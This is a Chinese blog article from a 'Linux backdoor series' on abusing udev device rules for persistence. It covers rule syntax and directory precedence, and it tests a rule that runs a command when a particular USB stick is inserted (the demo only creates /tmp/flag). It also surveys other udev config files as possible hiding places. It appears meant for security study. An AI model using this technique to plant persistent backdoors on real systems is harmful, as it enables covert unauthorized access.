udev 后门 | Linux 后门系列

admin 2025年2月26日23:38:15udev 后门 | Linux 后门系列已关闭评论25 views字数 23580阅读78分36秒阅读模式

0x00 简介 

大家好,我们是 NOP Team ,今天跟大家讨论一下 udev 权限维持的相关内容

文章稍长,可直接至文末下载 PDF 版本进行观看

 

什么是 udev 呢?

udev 是Linux kernel的设备管理器,主要管理/dev目录底下的设备节点。它同时也是用来接替 devfs 及 hotplug 的功能,这意味着它要在添加/删除硬件时处理/dev目录以及所有用户空间的行为,包括加载固件时。

也就是说所有关于设备的管理由这个服务来完成,例如我们增加了一块硬盘、拔掉了一个 USB 设备等等

udev 后门 | Linux 后门系列

从以上的描述大家可以想象,系统启动的时候也会涉及到设备管理,从形式上确实很适合用来做后门


  • 0x00 简介
  • 0x01 udev 的工作方法
  • 0x02 udev 规则文件
    • 1. 规则文件存储位置
    • 2. 规则文件的加载顺序
    • 3. 规则编写规范
    • 4. udev 规则案例
  • 0x03 udev 持久化探索
    • 1. hwdb
    • 2. iocost.conf
    • 3. udev.conf
    • 4. 规则文件
    • 5. 探索限制
  • 0x04 总结
  • 往期文章

0x01 udev 的工作方法 

udev 整体氛围三个部分

  • 内核层
  • 用户空间守护进程
  • 规则引擎与工具集

简单来说,当设备有变动时,内核层最先发现, 之后通过 uevent 机制(基于 netlink 套接字)向用户空间发送设备事件(如设备插入、移除、状态变化),设备信息通过 sysfs 虚拟文件系统暴露(路径如 /sys/block/sda)。

udev 后门 | Linux 后门系列

用户空间守护进程监听内核的 uevent 事件,之后根据规则文件(.rules)中的规则处理事件

下面是一个规则文件的案例

# 匹配特定 USB 设备,为其分配固定名称和权限
SUBSYSTEM=="block", ACTION=="add", ATTRS{idVendor}=="0781", ATTRS{idProduct}=="5580", \
  SYMLINK+="my_secure_usb", GROUP="users", MODE="0660"
  • 匹配条件:设备为块设备(SUBSYSTEM=="block"),动作为插入(ACTION=="add"),且匹配厂商/产品 ID。

  • 执行动作:创建符号链接 /dev/my_secure_usb,设置设备组为 users,权限为 0660

sudo 后门以后,我们不再对二进制文件依赖的共享库 (xxx.so) 文件替换劫持做权限维持做单独说明,主要是探讨通过配置文件的方式进行权限维持

0x02 udev 规则文件 

1. 规则文件存储位置

udev 的规则文件按照规范一般是 xxxx.rules 文件,udev 的规则文件存在于系统的以下三个位置

udev 的规则文件通常存放在以下三个目录中:

目录路径
用途说明
优先级顺序
/lib/udev/rules.d/ 系统默认规则

:由发行版或软件包(如内核、驱动)提供,不可手动修改。
/etc/udev/rules.d/ 用户自定义规则

:由系统管理员手动添加或修改,用于覆盖或扩展默认规则。
/run/udev/rules.d/ 临时规则

:由系统或程序在运行时动态生成,重启后失效。
udev 后门 | Linux 后门系列
udev 后门 | Linux 后门系列
udev 后门 | Linux 后门系列

可以看到,这里并没有目录,都是文件,而且文件后缀都是固定的,稍后我们了解配置文件编写规则后,再测试目录以及各种文件名称的有效性

2. 规则文件的加载顺序

不同目录的规则优先级

尽管文件名决定加载顺序,但目录路径的优先级更高:

  1. /etc/udev/rules.d/ 的规则优先级最高(即使文件名数字小,也会覆盖其他目录的规则)
  2. /run/udev/rules.d/ 的规则次之
  3. /lib/udev/rules.d/ 的规则优先级最低

优先级总结

/etc/udev/rules.d/  ->  /run/udev/rules.d/  ->  /lib/udev/rules.d/

3. 规则编写规范

https://wiki.archlinuxcn.org/wiki/Udev

https://man.archlinux.org/man/udev.7

https://www.reactivated.net/writing_udev_rules.html

udev 存在的意义是在设备出现变化时对应进行处理,所以整体语法应该是如何标识一个设备或一批设备,也就是匹配、如何标识出变化、如何标识出要做的动作,也就是赋值

规则语法

每条规则由逗号分隔的 键-操作符-值 表达式组成:

  • 匹配条件:使用 == 或 != 运算符(如 SUBSYSTEM=="usb")。
  • 赋值操作:使用 =+=-=:= 运算符(如 SYMLINK+="my_device")。

注释

规则使用 # 作为注释

匹配键

1)  基础设备属性
匹配键
描述
ACTION
设备事件类型:add(添加)、remove(移除)、change(状态变更)等。
KERNEL
内核分配的设备名称(如 sdaeth0)。
SUBSYSTEM
设备所属子系统(如 block(块设备)、usbnet(网络设备))。
DRIVER
设备绑定的驱动名称(如 usb-storage)。
DEVPATH
设备在 /sys 中的路径(如 /devices/pci0000:00/0000:00:1a.0/usb1)。

2) 设备属性(sysfs 属性)
匹配键
描述
ATTR{filename}
设备的 sysfs 属性文件值(如 ATTR{size}=="4096")。
ATTRS{filename}
向上级设备查找 sysfs 属性(用于跨层级匹配,如 parent 设备的属性)。

3) 环境变量
匹配键
描述
ENV{key}
设备或全局环境变量(如 ENV{ID_MODEL}=="MyDisk")。

4) 设备标签与特征
匹配键
描述
TAG
设备标签(如 TAG=="uaccess",用于用户空间访问权限)。
TEST
检查文件或目录是否存在(如 TEST=="/dev/my_device")。
PROGRAM
执行外部程序,若返回值为 0 则匹配(需结合 RESULT 使用)。

5) 设备关系与拓扑
匹配键
描述
PARENT
匹配父设备的属性(如 PARENT{SUBSYSTEM}=="usb")。
KERNELS
向上级设备匹配内核名称(类似 ATTRS)。
SUBSYSTEMS
向上级设备匹配子系统(类似 ATTRS)。
DRIVERS
向上级设备匹配驱动名称(类似 ATTRS)。

6) 高级匹配
匹配键
描述
IMPORT{type}
导入外部数据(如 IMPORT{program}="/sbin/blkid -o udev -p $tempnode")。
NAME
设备节点名称(仅用于网络设备,如 NAME="eth0")。
MODE

/OWNER/GROUP
直接匹配设备的权限或所有权(不推荐,通常用于赋值而非匹配)。

匹配运算符

匹配运算符(Matching Operators) 用于定义设备属性的匹配条件

1) 基础匹配运算符
运算符
描述
== 等于

:严格匹配属性值。
示例:SUBSYSTEM=="usb"(匹配 USB 子系统设备)。
!= 不等于

:排除特定属性值。
示例:KERNEL!="sda*"(排除内核名以 sda 开头的设备)。

2) 字符串匹配运算符
运算符
描述
=~ 正则表达式匹配

:使用正则表达式匹配属性值。
示例:KERNEL=~"^sd[a-z][0-9]"(匹配形如 sda1sdb2 的设备名)。
!~ 正则表达式不匹配

:排除符合正则表达式的属性值。
示例:KERNEL!~"^loop"(排除内核名以 loop 开头的设备)。

3) 特殊匹配操作
运算符
描述
$= 字符串包含

:检查属性值是否包含子字符串(部分实现支持,非官方标准)。
示例:ATTR{name}$="video"(匹配 name 属性包含 video 的设备)。

4) 逻辑组合符
运算符
描述
, 逻辑与

:多个条件需同时满足。
示例:SUBSYSTEM=="usb", ATTR{idVendor}=="0781"(USB 子系统且厂商 ID 为 0781)。
注意事项
  • 大小写敏感:匹配操作默认区分大小写。

  • 转义字符:在正则表达式中需转义特殊字符(如 \* 匹配字面量 *)。

  • 兼容性=~ 和 !~ 依赖于 udev 版本,需验证支持性

赋值键

1) 基础设备操作
赋值键
描述
NAME 命名设备节点

(仅适用于网络设备,如网卡)。
SYMLINK 创建设备符号链接

(可创建多个链接,如 SYMLINK+="my_device")。
MODE
设置设备节点的权限(如 MODE="0660")。
OWNER
设置设备节点的所有者(如 OWNER="root")。
GROUP
设置设备节点的所属组(如 GROUP="users")。

2) 设备标签与元数据
赋值键
描述
TAG
为设备添加标签(如 TAG+="uaccess",用于用户空间访问权限)。
ENV{key}
设置设备的环境变量(如 ENV{DISK_TYPE}="ssd")。

3) 脚本与程序执行
赋值键
描述
RUN{type}
执行外部程序或脚本(type 支持 program 或 builtin)。
IMPORT{type}
导入外部数据(如 IMPORT{program}="/sbin/blkid -o udev -p $tempnode")。
PROGRAM
执行外部程序并捕获输出(通常与 RESULT 配合使用)。

4) 高级控制
赋值键
描述
OPTIONS
设置特殊选项,如:
OPTIONS+="last_rule"(跳过后续规则)。
OPTIONS+="watch"(监视设备状态变化)。
SECLABEL
设置设备的安全标签(如 SELinux 上下文)。
ATTR{filename}
直接修改设备的 sysfs 属性(需谨慎使用)。

5) 网络设备专用
赋值键
描述
NAME 重命名网络接口

(如 NAME="eth0")。
MAC
设置网络接口的 MAC 地址(需驱动支持)。

赋值运算符

赋值运算符(Assignment Operators) 用于定义如何修改设备属性或执行操作

1) 基础赋值运算符
运算符
描述
= 直接赋值

:覆盖属性的原有值。
示例:MODE="0660"(设置权限为 0660,忽略默认值)。
+= 追加赋值

:在原有值基础上添加新值(适用于多值属性,如 SYMLINK)。
示例:SYMLINK+="my_device"(在默认符号链接基础上添加 my_device)。
:= 最终赋值

:设置不可被后续规则覆盖的值。
示例:GROUP:="users"(后续规则无法修改 GROUP 的值)。

2) 特殊运算符
运算符
描述
-= 移除值

:从多值属性中删除指定值(适用于 SYMLINK 或 TAG)。
示例:TAG-="uaccess"(移除 uaccess 标签)。
== 匹配条件

:仅用于匹配键(非赋值操作)。
示例:SUBSYSTEM=="usb"(匹配 USB 子系统设备)。
注意事项
  • = 与 +=
    • 使用 = 会覆盖原有值(如 SYMLINK="my_link" 将删除默认符号链接)。
    • 使用 += 更安全,通常用于扩展而非替换。
  • := 的强制力
    • 通过 := 赋值的属性不可被后续规则修改,即使后续规则使用 = 或 +=
  • 慎用 -=
    • 移除系统默认值可能导致意外行为(如权限错误)。

取值

udev 规则中的值都是被双引号包裹的,这其中也涉及到转义、大小写、正则、变量等,但其实我不需要特别关心,可以在遇到的时候使用 deepseek 等进行解释

常用键的值示例
值示例
说明
SUBSYSTEM "usb"

"block"
设备子系统类型
ACTION "add"

"remove"
设备事件类型
ATTR{size} "4096"

"0"
设备的 sysfs 属性值
ENV{ID_VENDOR} "SanDisk"
设备环境变量
MODE "0660"

"0644"
八进制权限值
SYMLINK "my_device"

"backup_disk"
符号链接名称
RUN "/usr/bin/mount.sh"
脚本或程序的绝对路径

4. udev 规则案例

环境准备

我们使用桌面版 Ubuntu Desktop 24.04 虚拟机配合 USB 优盘进行测试

首先将优盘直通给虚拟机

udev 后门 | Linux 后门系列

获取优盘属性

# 查看设备路径
sudo fdisk -l
udev 后门 | Linux 后门系列
# 获取 udev 详细信息
udevadm info -a -p $(udevadm info -q path -n /dev/sdb)
udev 后门 | Linux 后门系列
Udevadm info starts with the device specified by the devpath and then
walks up the chain of parent devices. It prints for every device
found, all possible attributes in the udev rules key format.
A rule to match, can be composed by the attributes of the device
and the attributes from one single parent device.

  looking at device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8/target8:0:0/8:0:0:0/block/sdb':
    KERNEL=="sdb"
    SUBSYSTEM=="block"
    DRIVER==""
    ATTR{alignment_offset}=="0"
    ATTR{capability}=="0"
    ATTR{discard_alignment}=="0"
    ATTR{diskseq}=="81"
    ATTR{events}=="media_change"
    ATTR{events_async}==""
    ATTR{events_poll_msecs}=="-1"
    ATTR{ext_range}=="256"
    ATTR{hidden}=="0"
    ATTR{inflight}=="       0        0"
    ATTR{integrity/device_is_integrity_capable}=="0"
    ATTR{integrity/format}=="none"
    ATTR{integrity/protection_interval_bytes}=="0"
    ATTR{integrity/read_verify}=="1"
    ATTR{integrity/tag_size}=="0"
    ATTR{integrity/write_generate}=="1"
    ATTR{mq/0/cpu_list}=="0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31"
    ATTR{mq/0/nr_reserved_tags}=="0"
    ATTR{mq/0/nr_tags}=="1"
    ATTR{partscan}=="1"
    ATTR{power/async}=="disabled"
    ATTR{power/control}=="auto"
    ATTR{power/runtime_active_kids}=="0"
    ATTR{power/runtime_active_time}=="0"
    ATTR{power/runtime_enabled}=="disabled"
    ATTR{power/runtime_status}=="unsupported"
    ATTR{power/runtime_suspended_time}=="0"
    ATTR{power/runtime_usage}=="0"
    ATTR{queue/add_random}=="1"
    ATTR{queue/atomic_write_boundary_bytes}=="0"
    ATTR{queue/atomic_write_max_bytes}=="0"
    ATTR{queue/atomic_write_unit_max_bytes}=="0"
    ATTR{queue/atomic_write_unit_min_bytes}=="0"
    ATTR{queue/chunk_sectors}=="0"
    ATTR{queue/dax}=="0"
    ATTR{queue/discard_granularity}=="512"
    ATTR{queue/discard_max_bytes}=="0"
    ATTR{queue/discard_max_hw_bytes}=="0"
    ATTR{queue/discard_zeroes_data}=="0"
    ATTR{queue/dma_alignment}=="511"
    ATTR{queue/fua}=="0"
    ATTR{queue/hw_sector_size}=="512"
    ATTR{queue/io_poll}=="0"
    ATTR{queue/io_poll_delay}=="-1"
    ATTR{queue/io_timeout}=="30000"
    ATTR{queue/iosched/async_depth}=="2"
    ATTR{queue/iosched/fifo_batch}=="16"
    ATTR{queue/iosched/front_merges}=="1"
    ATTR{queue/iosched/prio_aging_expire}=="10000"
    ATTR{queue/iosched/read_expire}=="500"
    ATTR{queue/iosched/write_expire}=="5000"
    ATTR{queue/iosched/writes_starved}=="2"
    ATTR{queue/iostats}=="1"
    ATTR{queue/logical_block_size}=="512"
    ATTR{queue/max_discard_segments}=="1"
    ATTR{queue/max_hw_sectors_kb}=="1024"
    ATTR{queue/max_integrity_segments}=="0"
    ATTR{queue/max_sectors_kb}=="1024"
    ATTR{queue/max_segment_size}=="65536"
    ATTR{queue/max_segments}=="2048"
    ATTR{queue/minimum_io_size}=="512"
    ATTR{queue/nomerges}=="0"
    ATTR{queue/nr_requests}=="2"
    ATTR{queue/nr_zones}=="0"
    ATTR{queue/optimal_io_size}=="0"
    ATTR{queue/physical_block_size}=="512"
    ATTR{queue/read_ahead_kb}=="128"
    ATTR{queue/rotational}=="1"
    ATTR{queue/rq_affinity}=="1"
    ATTR{queue/scheduler}=="none [mq-deadline] "
    ATTR{queue/stable_writes}=="0"
    ATTR{queue/virt_boundary_mask}=="0"
    ATTR{queue/wbt_lat_usec}=="75000"
    ATTR{queue/write_cache}=="write through"
    ATTR{queue/write_same_max_bytes}=="0"
    ATTR{queue/write_zeroes_max_bytes}=="0"
    ATTR{queue/zone_append_max_bytes}=="0"
    ATTR{queue/zone_write_granularity}=="0"
    ATTR{queue/zoned}=="none"
    ATTR{range}=="16"
    ATTR{removable}=="1"
    ATTR{ro}=="0"
    ATTR{size}=="62029824"
    ATTR{stat}=="    2020       19    10273      954        0        0        0        0        0      890      954        0        0        0        0        0        0"
    ATTR{trace/act_mask}=="disabled"
    ATTR{trace/enable}=="0"
    ATTR{trace/end_lba}=="disabled"
    ATTR{trace/pid}=="disabled"
    ATTR{trace/start_lba}=="disabled"

  looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8/target8:0:0/8:0:0:0':
    KERNELS=="8:0:0:0"
    SUBSYSTEMS=="scsi"
    DRIVERS=="sd"
    ATTRS{blacklist}=="SKIP_IO_HINTS"
    ATTRS{cdl_enable}=="0"
    ATTRS{cdl_supported}=="0"
    ATTRS{delete}=="(not readable)"
    ATTRS{device_blocked}=="0"
    ATTRS{device_busy}=="0"
    ATTRS{dh_state}=="detached"
    ATTRS{eh_timeout}=="10"
    ATTRS{evt_capacity_change_reported}=="0"
    ATTRS{evt_inquiry_change_reported}=="0"
    ATTRS{evt_lun_change_reported}=="0"
    ATTRS{evt_media_change}=="0"
    ATTRS{evt_mode_parameter_change_reported}=="0"
    ATTRS{evt_soft_threshold_reached}=="0"
    ATTRS{inquiry}==""
    ATTRS{iocounterbits}=="32"
    ATTRS{iodone_cnt}=="0x8a9"
    ATTRS{ioerr_cnt}=="0x1"
    ATTRS{iorequest_cnt}=="0x8a9"
    ATTRS{iotmo_cnt}=="0x0"
    ATTRS{max_sectors}=="2048"
    ATTRS{model}=="TransMemory-Ex  "
    ATTRS{power/async}=="enabled"
    ATTRS{power/autosuspend_delay_ms}=="-1"
    ATTRS{power/control}=="on"
    ATTRS{power/runtime_active_kids}=="0"
    ATTRS{power/runtime_active_time}=="290776"
    ATTRS{power/runtime_enabled}=="forbidden"
    ATTRS{power/runtime_status}=="active"
    ATTRS{power/runtime_suspended_time}=="0"
    ATTRS{power/runtime_usage}=="2"
    ATTRS{queue_depth}=="1"
    ATTRS{queue_type}=="none"
    ATTRS{rescan}=="(not readable)"
    ATTRS{rev}=="PMAP"
    ATTRS{scsi_level}=="5"
    ATTRS{state}=="running"
    ATTRS{timeout}=="30"
    ATTRS{type}=="0"
    ATTRS{vendor}=="TOSHIBA "

  looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8/target8:0:0':
    KERNELS=="target8:0:0"
    SUBSYSTEMS=="scsi"
    DRIVERS==""
    ATTRS{power/async}=="enabled"
    ATTRS{power/control}=="auto"
    ATTRS{power/runtime_active_kids}=="1"
    ATTRS{power/runtime_active_time}=="290776"
    ATTRS{power/runtime_enabled}=="enabled"
    ATTRS{power/runtime_status}=="active"
    ATTRS{power/runtime_suspended_time}=="0"
    ATTRS{power/runtime_usage}=="0"

  looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8':
    KERNELS=="host8"
    SUBSYSTEMS=="scsi"
    DRIVERS==""
    ATTRS{power/async}=="enabled"
    ATTRS{power/control}=="auto"
    ATTRS{power/runtime_active_kids}=="1"
    ATTRS{power/runtime_active_time}=="290777"
    ATTRS{power/runtime_enabled}=="enabled"
    ATTRS{power/runtime_status}=="active"
    ATTRS{power/runtime_suspended_time}=="1243"
    ATTRS{power/runtime_usage}=="0"

  looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0':
    KERNELS=="4-1:1.0"
    SUBSYSTEMS=="usb"
    DRIVERS=="usb-storage"
    ATTRS{authorized}=="1"
    ATTRS{bAlternateSetting}==" 0"
    ATTRS{bInterfaceClass}=="08"
    ATTRS{bInterfaceNumber}=="00"
    ATTRS{bInterfaceProtocol}=="50"
    ATTRS{bInterfaceSubClass}=="06"
    ATTRS{bNumEndpoints}=="02"
    ATTRS{power/async}=="enabled"
    ATTRS{power/runtime_active_kids}=="1"
    ATTRS{power/runtime_enabled}=="enabled"
    ATTRS{power/runtime_status}=="active"
    ATTRS{power/runtime_usage}=="0"
    ATTRS{supports_autosuspend}=="1"

  looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1':
    KERNELS=="4-1"
    SUBSYSTEMS=="usb"
    DRIVERS=="usb"
    ATTRS{authorized}=="1"
    ATTRS{avoid_reset_quirk}=="0"
    ATTRS{bConfigurationValue}=="1"
    ATTRS{bDeviceClass}=="00"
    ATTRS{bDeviceProtocol}=="00"
    ATTRS{bDeviceSubClass}=="00"
    ATTRS{bMaxPacketSize0}=="9"
    ATTRS{bMaxPower}=="896mA"
    ATTRS{bNumConfigurations}=="1"
    ATTRS{bNumInterfaces}==" 1"
    ATTRS{bcdDevice}=="0110"
    ATTRS{bmAttributes}=="80"
    ATTRS{busnum}=="4"
    ATTRS{configuration}==""
    ATTRS{devnum}=="2"
    ATTRS{devpath}=="1"
    ATTRS{idProduct}=="6545"
    ATTRS{idVendor}=="0930"
    ATTRS{ltm_capable}=="no"
    ATTRS{manufacturer}=="TOSHIBA"
    ATTRS{maxchild}=="0"
    ATTRS{power/active_duration}=="292163"
    ATTRS{power/async}=="enabled"
    ATTRS{power/autosuspend}=="2"
    ATTRS{power/autosuspend_delay_ms}=="2000"
    ATTRS{power/connected_duration}=="292163"
    ATTRS{power/control}=="on"
    ATTRS{power/level}=="on"
    ATTRS{power/persist}=="1"
    ATTRS{power/runtime_active_kids}=="1"
    ATTRS{power/runtime_active_time}=="292036"
    ATTRS{power/runtime_enabled}=="forbidden"
    ATTRS{power/runtime_status}=="active"
    ATTRS{power/runtime_suspended_time}=="0"
    ATTRS{power/runtime_usage}=="1"
    ATTRS{product}=="TransMemory-Ex"
    ATTRS{quirks}=="0x0"
    ATTRS{removable}=="unknown"
    ATTRS{remove}=="(not readable)"
    ATTRS{rx_lanes}=="1"
    ATTRS{serial}=="60A44CB46484ED904352370C"
    ATTRS{speed}=="5000"
    ATTRS{tx_lanes}=="1"
    ATTRS{urbnum}=="6492"
    ATTRS{version}==" 3.00"

  looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4':
    KERNELS=="usb4"
    SUBSYSTEMS=="usb"
    DRIVERS=="usb"
    ATTRS{authorized}=="1"
    ATTRS{authorized_default}=="1"
    ATTRS{avoid_reset_quirk}=="0"
    ATTRS{bConfigurationValue}=="1"
    ATTRS{bDeviceClass}=="09"
    ATTRS{bDeviceProtocol}=="03"
    ATTRS{bDeviceSubClass}=="00"
    ATTRS{bMaxPacketSize0}=="9"
    ATTRS{bMaxPower}=="0mA"
    ATTRS{bNumConfigurations}=="1"
    ATTRS{bNumInterfaces}==" 1"
    ATTRS{bcdDevice}=="0611"
    ATTRS{bmAttributes}=="e0"
    ATTRS{busnum}=="4"
    ATTRS{configuration}==""
    ATTRS{devnum}=="1"
    ATTRS{devpath}=="0"
    ATTRS{idProduct}=="0003"
    ATTRS{idVendor}=="1d6b"
    ATTRS{interface_authorized_default}=="1"
    ATTRS{ltm_capable}=="no"
    ATTRS{manufacturer}=="Linux 6.11.0-17-generic xhci-hcd"
    ATTRS{maxchild}=="12"
    ATTRS{power/active_duration}=="292731"
    ATTRS{power/async}=="enabled"
    ATTRS{power/autosuspend}=="0"
    ATTRS{power/autosuspend_delay_ms}=="0"
    ATTRS{power/connected_duration}=="361398"
    ATTRS{power/control}=="auto"
    ATTRS{power/level}=="auto"
    ATTRS{power/runtime_active_kids}=="1"
    ATTRS{power/runtime_active_time}=="292830"
    ATTRS{power/runtime_enabled}=="enabled"
    ATTRS{power/runtime_status}=="active"
    ATTRS{power/runtime_suspended_time}=="68566"
    ATTRS{power/runtime_usage}=="0"
    ATTRS{power/wakeup}=="disabled"
    ATTRS{power/wakeup_abort_count}==""
    ATTRS{power/wakeup_active}==""
    ATTRS{power/wakeup_active_count}==""
    ATTRS{power/wakeup_count}==""
    ATTRS{power/wakeup_expire_count}==""
    ATTRS{power/wakeup_last_time_ms}==""
    ATTRS{power/wakeup_max_time_ms}==""
    ATTRS{power/wakeup_total_time_ms}==""
    ATTRS{product}=="xHCI Host Controller"
    ATTRS{quirks}=="0x0"
    ATTRS{removable}=="unknown"
    ATTRS{remove}=="(not readable)"
    ATTRS{rx_lanes}=="1"
    ATTRS{serial}=="0000:00:1d.6"
    ATTRS{speed}=="10000"
    ATTRS{tx_lanes}=="1"
    ATTRS{urbnum}=="373"
    ATTRS{version}==" 3.10"

  looking at parent device '/devices/pci0000:00/0000:00:1d.6':
    KERNELS=="0000:00:1d.6"
    SUBSYSTEMS=="pci"
    DRIVERS=="xhci_hcd"
    ATTRS{ari_enabled}=="0"
    ATTRS{broken_parity_status}=="0"
    ATTRS{class}=="0x0c0330"
    ATTRS{consistent_dma_mask_bits}=="64"
    ATTRS{d3cold_allowed}=="0"
    ATTRS{device}=="0x0194"
    ATTRS{dma_mask_bits}=="64"
    ATTRS{driver_override}=="(null)"
    ATTRS{enable}=="1"
    ATTRS{irq}=="29"
    ATTRS{local_cpulist}=="0-3"
    ATTRS{local_cpus}=="0000000f"
    ATTRS{msi_bus}=="1"
    ATTRS{msi_irqs/29}=="msi"
    ATTRS{numa_node}=="-1"
    ATTRS{power/async}=="enabled"
    ATTRS{power/control}=="on"
    ATTRS{power/runtime_active_kids}=="1"
    ATTRS{power/runtime_active_time}=="362060"
    ATTRS{power/runtime_enabled}=="forbidden"
    ATTRS{power/runtime_status}=="active"
    ATTRS{power/runtime_suspended_time}=="0"
    ATTRS{power/runtime_usage}=="3"
    ATTRS{power_state}=="D0"
    ATTRS{remove}=="(not readable)"
    ATTRS{rescan}=="(not readable)"
    ATTRS{resource0}=="(not readable)"
    ATTRS{revision}=="0x04"
    ATTRS{subsystem_device}=="0x0400"
    ATTRS{subsystem_vendor}=="0x1ab8"
    ATTRS{vendor}=="0x1033"

  looking at parent device '/devices/pci0000:00':
    KERNELS=="pci0000:00"
    SUBSYSTEMS==""
    DRIVERS==""
    ATTRS{power/async}=="enabled"
    ATTRS{power/control}=="auto"
    ATTRS{power/runtime_active_kids}=="14"
    ATTRS{power/runtime_active_time}=="0"
    ATTRS{power/runtime_enabled}=="disabled"
    ATTRS{power/runtime_status}=="unsupported"
    ATTRS{power/runtime_suspended_time}=="0"
    ATTRS{power/runtime_usage}=="0"
    ATTRS{waiting_for_supplier}=="0"

内容非常长,它表示了整个设备系统按照层级的属性关系,SUBSYSTEM 表示当前设备的层级,我们的设备是 USB ,所以就是 SUBSYSTEM="usb"

当前设备的层级解析

层级路径
子系统
设备角色
关键属性示例
pci0000:00
-
PCI 总线根节点
0000:00:1d.6 pci
USB 主控制器硬件
vendor="0x1033"
usb4 usb
宿主 USB 3.0 控制器
product="xHCI Host Controller"
4-1 usb
物理优盘的 USB 设备控制器
idVendor="0930"

idProduct="6545"
4-1:1.0 usb
USB 设备接口(存储协议接口)
bInterfaceClass="08"

 (存储设备)
host8 scsi
虚拟 SCSI 主机(USB 存储驱动模拟)
model="TransMemory-Ex"
target8:0:0 scsi
SCSI 目标设备(虚拟磁盘)
vendor="TOSHIBA"
8:0:0:0 scsi
SCSI 逻辑单元(LUN 0)
rev="PMAP"
block/sdb block
块设备节点(最终暴露的磁盘)
size="62029824"

 (磁盘容量)

我们找到属于我们设备的属性信息

udev 后门 | Linux 后门系列

获取到父级的 idProduct 和 idVendor (因为是 ATTRS),可以通过 lsusb 进行验证

lsusb -v -d 0930:6545
udev 后门 | Linux 后门系列

编写 udev 案例

插入这个优盘后,我们希望创建一个符号连接 nop_driver

首先我们得标识一下这个设备

SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545"

注意,我们的 idVentor 和 idProduct 是来自父级的,这点在原始的输出中可以看到

之后我们描述一下插入的动作

ACTION=="add"

接下来再标识一下要做的赋值,创建 /tmp/flag 文件

RUN+="/bin/touch /tmp/flag"

合起来就是

SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545", ACTION=="add", RUN+="/bin/touch /tmp/flag"

我们将内容复制到 /etc/udev/rules.d/99-nop-driver.rules 中

udev 后门 | Linux 后门系列

测试案例有效性

首先查看是否存在这个文件

udev 后门 | Linux 后门系列

不存在,接下来插入优盘

udev 后门 | Linux 后门系列

可以看到,文件成功创建,我们的规则在未显式地手动重新加载配置文件的情况下就已经可以生效了

测试规则文件夹加载顺序

我们通过在三个文件夹中创建相同文件名称的规则文件,对比一下实际的执行顺序

udev 后门 | Linux 后门系列

首先直接插入优盘进行测试

udev 后门 | Linux 后门系列

在默认情况下,优先级最高的竟然是 /etc/udev/rules.d/ 目录下的

删除  /etc/udev/rules.d/ 目录下的配置文件,看看下一个被加载的是哪一个

udev 后门 | Linux 后门系列

看来接下来是 /run/udev/rules.d/ 目录下的,删除该文件,再次测试

udev 后门 | Linux 后门系列

需要注意的是,现在现代 Linux 发行版(如 Ubuntu/Debian/Fedora 等)中/lib 通常是指向 /usr/lib 的符号链

udev 后门 | Linux 后门系列

所以 /lib/udev/rules.d/99-nop-driver.rules 与 /usr/lib/udev/rules.d/99-nop-driver.rules 为同一文件

所以在 Ubuntu Desktop 24.04 中 udev 规则文件夹同名规则文件加载顺序为

/etc/udev/rules.d/  ->  /run/udev/rules.d/  ->  /lib/udev/rules.d/

测试文件名称

在 archlinux 的官方文档上说,规则文件需要使用 .rules 后缀,我们测试一下是否这样

无后缀

udev 后门 | Linux 后门系列

可以看到,无后缀规则文件是无效的

以 . 开头的配置文件

udev 后门 | Linux 后门系列
udev 后门 | Linux 后门系列
udev 后门 | Linux 后门系列

看来以 . 开头是不行了

测试是否可以在新建文件夹

如果我们在该目录新建一个文件夹,之后在其中加入规则文件,规则文件会生效吗?

udev 后门 | Linux 后门系列

也是不行的,看来对于配置文件的要求还是比较固定

0x03 udev 持久化探索 

udev 后门 | Linux 后门系列

刚才的测试中,规则文件肯定可以被用来做后门,所以我们稍后着重探讨,排除替换可执行文件、替换共享库这类持久化以外,我们尝试从剩下的三个配置文件探索持久化的可能

1. hwdb

hwdb 是硬件属性数据库,将设备的硬件属性(如 USB 厂商/产品 ID、PCI 设备 ID 等)映射到自定义属性(如触摸板手势配置、键盘重复速率等)

默认 Ubuntu Desktop 24.04 中 /etc/udev/hwdb.d 是空的,我们去 /lib/udev/hwdb.d 中进行查看

udev 后门 | Linux 后门系列
udev 后门 | Linux 后门系列

攻击者如果修改硬件属性数据库,可能会导致系统挂载硬件设备时错误识别等,想实现持久化的话,可能需要配合其他程序错误识别会导致一些额外bug

所以一般的攻击者是不会通过硬件属性数据库进行持久化的

2. iocost.conf

https://www.freedesktop.org/software/systemd/man/latest/iocost.conf.html

iocost.conf 是 udev 用于定义和管理设备 I/O 成本的配置文件。通过在这个文件中指定各类设备的 I/O 成本,系统能够在设备接入时自动调整 I/O 调度策略,以优化性能和资源分配

udev 后门 | Linux 后门系列

根据目前的文档来看,只能用来调节I/O 成本,无法创建文件,也无法执行外部程序,甚至官方文档也仅仅介绍了 TargetSolution 这一个参数,我尝试了直接在其中写 shell 命令,并没有成功执行

3. udev.conf

https://man7.org/linux/man-pages/man5/udev.conf.5.html

udev.conf 是 udev 守护进程的主配置文件,用于设置 udev 的全局运行参数,而不是用来定义具体的设备匹配或行为规则

udev 后门 | Linux 后门系列

下面是可以设置的选项:

  • udev_log=日志级别。有效值可以是数值形式的 syslog 优先级,或它们的文本描述:
    • err
    • info
    • debug
  • children_max=一个整数,表示并行执行的最大事件数。 如果未指定或指定为 0,最大并行数将基于系统资源自动确定。 此选项与命令行中的 --children-max= 相同
  • exec_delay=一个整数。为每个 RUN{program} 参数延迟执行指定的秒数。 此选项在调试因加载不可用内核模块导致的冷插拔启动崩溃时可能会很有用。 此选项与命令行中的 --exec-delay= 相同。
  • event_timeout=一个整数,表示等待事件完成的秒数。 超过这个时间后,事件将被终止。默认值为 180 秒。 此选项与命令行中的 --event-timeout= 相同。
  • resolve_names=指定 systemd-udevd 解析用户和组名的时机。
